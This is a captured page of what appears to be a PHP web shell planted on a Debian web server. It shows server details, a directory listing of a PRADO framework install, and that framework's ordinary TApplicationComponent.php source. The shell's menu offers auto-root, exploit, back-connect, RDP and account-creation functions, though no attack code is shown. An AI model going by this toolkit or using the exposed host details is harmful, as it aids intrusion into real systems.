Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.133.148.130
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
[ HOME SHELL ]
Name
Size
Permission
Action
Caching
[ DIR ]
drwxr-xr-x
Collections
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
Security
[ DIR ]
drwxr-xr-x
Shell
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Web
[ DIR ]
drwxr-xr-x
Xml
[ DIR ]
drwxr-xr-x
IDataRenderer.php
683
B
-rw-r--r--
IModule.php
715
B
-rw-r--r--
IService.php
956
B
-rw-r--r--
IStatePersister.php
752
B
-rw-r--r--
Prado.php
21.78
KB
-rw-r--r--
TApplication.php
36.05
KB
-rw-r--r--
TApplicationComponent.php
4.88
KB
-rw-r--r--
TApplicationConfiguration.php
18.7
KB
-rw-r--r--
TApplicationMode.php
961
B
-rw-r--r--
TApplicationStatePersister.php
2.11
KB
-rw-r--r--
TComponent.php
70.91
KB
-rw-r--r--
TComponentReflection.php
5.55
KB
-rw-r--r--
TEnumerable.php
1.47
KB
-rw-r--r--
TEventParameter.php
571
B
-rw-r--r--
TEventResults.php
606
B
-rw-r--r--
TModule.php
1.19
KB
-rw-r--r--
TPropertyValue.php
5.74
KB
-rw-r--r--
TService.php
1.45
KB
-rw-r--r--
classes.php
44.27
KB
-rw-r--r--
powered.gif
1.45
KB
-rw-r--r--
powered2.gif
219
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TApplicationComponent.php
<?php /** * TApplicationComponent class * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado; use Prado\TApplicationMode; /** * TApplicationComponent class * * TApplicationComponent is the base class for all components that are * application-related, such as controls, modules, services, etc. * * TApplicationComponent mainly defines a few properties that are shortcuts * to some commonly used methods. The {@link getApplication Application} * property gives the application instance that this component belongs to; * {@link getService Service} gives the current running service; * {@link getRequest Request}, {@link getResponse Response} and {@link getSession Session} * return the request and response modules, respectively; * And {@link getUser User} gives the current user instance. * * Besides, TApplicationComponent defines two shortcut methods for * publishing private files: {@link publishAsset} and {@link publishFilePath}. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TApplicationComponent extends \Prado\TComponent { public const APP_COMPONENT_FX_CACHE = 'prado:applicationcomponent:fxcache'; /** * TApplicationComponents auto listen to global events. * * @return bool returns whether or not to listen. */ public function getAutoGlobalListen() { return true; } /** * This caches the 'fx' events for PRADO classes in the application cache * @param object $class * @return string[] fx events from a specific class */ protected function getClassFxEvents($class) { $app = $this->getApplication(); $className = $cache = null; if ($app && (($mode = $app->getMode()) === TApplicationMode::Normal || $mode === TApplicationMode::Performance) && ($cache = $app->getCache())) { static $_classfx = null; if ($_classfx === null) { $_classfx = $cache->get(self::APP_COMPONENT_FX_CACHE) ?? []; } $className = get_class($class); if (isset($_classfx[$className])) { return $_classfx[$className]; } } $fx = parent::getClassFxEvents($class); if ($cache) { if ($pos = strrpos($className, '\\')) { $baseClassName = substr($className, $pos + 1); } else { $baseClassName = $className; } if (isset(Prado::$classMap[$baseClassName])) { $_classfx[$className] = $fx; $cache->set(self::APP_COMPONENT_FX_CACHE, $_classfx); } } return $fx; } /** * @return \Prado\TApplication current application instance */ public function getApplication() { return Prado::getApplication(); } /** * @return \Prado\TService the current service */ public function getService() { return Prado::getApplication()->getService(); } /** * @return \Prado\Web\THttpRequest the current user request */ public function getRequest() { return Prado::getApplication()->getRequest(); } /** * @return \Prado\Web\THttpResponse the response */ public function getResponse() { return Prado::getApplication()->getResponse(); } /** * @return \Prado\Web\THttpSession user session */ public function getSession() { return Prado::getApplication()->getSession(); } /** * @return \Prado\Security\IUser information about the current user */ public function getUser() { return Prado::getApplication()->getUser(); } /** * Publishes a private asset and gets its URL. * This method will publish a private asset (file or directory) * and gets the URL to the asset. Note, if the asset refers to * a directory, all contents under that directory will be published. * Also note, it is recommended that you supply a class name as the second * parameter to the method (e.g. publishAsset($assetPath,__CLASS__) ). * By doing so, you avoid the issue that child classes may not work properly * because the asset path will be relative to the directory containing the child class file. * * @param string $assetPath path of the asset that is relative to the directory containing the specified class file. * @param string $className name of the class whose containing directory will be prepend to the asset path. If null, it means get_class($this). * @return string URL to the asset path. */ public function publishAsset($assetPath, $className = null) { if ($className === null) { $className = get_class($this); } $class = new \ReflectionClass($className); $fullPath = dirname($class->getFileName()) . DIRECTORY_SEPARATOR . $assetPath; return $this->publishFilePath($fullPath); } /** * Publishes a file or directory and returns its URL. * @param string $fullPath absolute path of the file or directory to be published * @param mixed $checkTimestamp * @return string URL to the published file or directory */ public function publishFilePath($fullPath, $checkTimestamp = false) { return Prado::getApplication()->getAssetManager()->publishFilePath($fullPath, $checkTimestamp); } }
Close